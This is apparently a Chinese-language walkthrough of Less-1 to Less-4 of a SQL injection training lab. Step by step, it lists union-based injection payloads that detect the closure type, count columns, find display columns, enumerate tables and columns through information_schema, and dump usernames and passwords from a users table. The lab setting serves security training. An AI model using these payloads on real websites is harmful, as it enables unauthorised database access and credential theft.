一、less-1
1、题目的意思是:请输入一个ID作为参数,并且输入一个数值
2、利用“?”来进行传参(下图,传参成功)
3、判断注入类型以及闭合方式
?id=1 and 2=2 #正常
?id=1 and 1=2 #正常 说明一定不是数字型注入,考虑其他注入方式
?id=1' #报错 可能是字符型注入
?id=1'--+ #正常 输入注释符号--+闭合成功,是字符型注入
4、确定字段数量(用二分法)
?id=1' order by 4 --+ #报错,说明字段数量不是4
?id=1' order by 3 --+ #不报错,说明字段数量是3
5、确定回显点
?id=-1' union select 1,2,3 --+ #可以看到输出显示的字段为2和3
6、确定数据库名
可以看到数据库的名字为security
7、确定数据库里所有的表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
8、找到里面重要的表进行查询字段,这里我们查询users表的字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
9、查询所有字段的数据
?id=-1' union select 1,2,group_concat(id,'-',username,'-',password) from users--+
二、less-2
1、判断注入类型
?id=1' #报错,不是字符型注入
?id=1 and 1=1 #正常
?id=1 and 1=2 #报错(空白界面)
确定为数字型注入
2、判断字段数量
?id=1 order by 4 #报错,说明没有四个字段
?id=1 order by 3 #正常,说明有三个字段
3、确定回显点
?id=-1 union select 1,2,3 #正常,确定了回显点为2和3
4、爆破库名
?id=-1 union select 1,2,database()
5、爆破表名
?id=-1 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'
6、爆破字段名
?id=-1 union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'
7、爆破数据
?id=-1 union select 1,2,group_concat(username,'~',password)from users
三、less-3
1、判断注入类型
?id=1' #报错说明有可能是他的闭合方式
?id=1' --+ #报错,说明不是他的闭合方式
?id=1" #正常,说明不是他的闭合方式
?id=1') #报错,说明有可能是他的闭合方式
?id=1') --+ #没报错,说明就是他的闭合方式,为字符型注入
2、确定字段数量
?id=1') order by 4 --+ #报错,说明字段数量不是4
?id=1') order by 3 --+ #不报错,说明字段数量是3
3、确定回显点
?id=-1') union select 1,2,3 --+ #可以看到输出显示的字段为2和3
4、爆破库名
?id=-1') union select 1,2,database() -++ #可以看到库名为security
5、爆破表名
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ #可以看到表名都出现了
6、爆破字段名
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+ #可以看到字段名已经出现了
7、爆破数据
?id=-1') union select 1,2,group_concat(username,'~',password) from users --+
爆破成功
四、less-4
1、判断注入类型
?id=1 and 1=1 #没报错,说明有可能他的注入方式为数字型
?id=1 and 1=2 #没报错,说明他的注入方式不是数字型,可能是字符型
?id=1' #没报错,说明这不是他的闭合方式
?id=1" #报错,说明有可能是他的闭合方式
?id=1" --+ #报错,说明不是他的闭合方式
?id=1") #报错,说明有可能是他的闭合方式
?id=1") --+ #没报错,说明这就是他的闭合方式,并且是字符型注入
2、确定字段数量
?id=1") order by 4 --+ #报错,说明字段数量不是4
?id=1") order by 3 --+ #不报错,说明字段数量是3
3、确定回显点
?id=-1") union select 1,2,3 --+ #可以看到输出显示的字段为2和3
4、爆破库名
?id=-1") union select 1,2,database() --+ #可以看到库名为security
5、爆破表名
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ #可以看到表名都出现了
6、爆破字段名
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+ #可以看到字段名已经出现了
7、爆破数据
?id=-1") union select 1,2,group_concat(username,'~',password) from users --+
爆破成功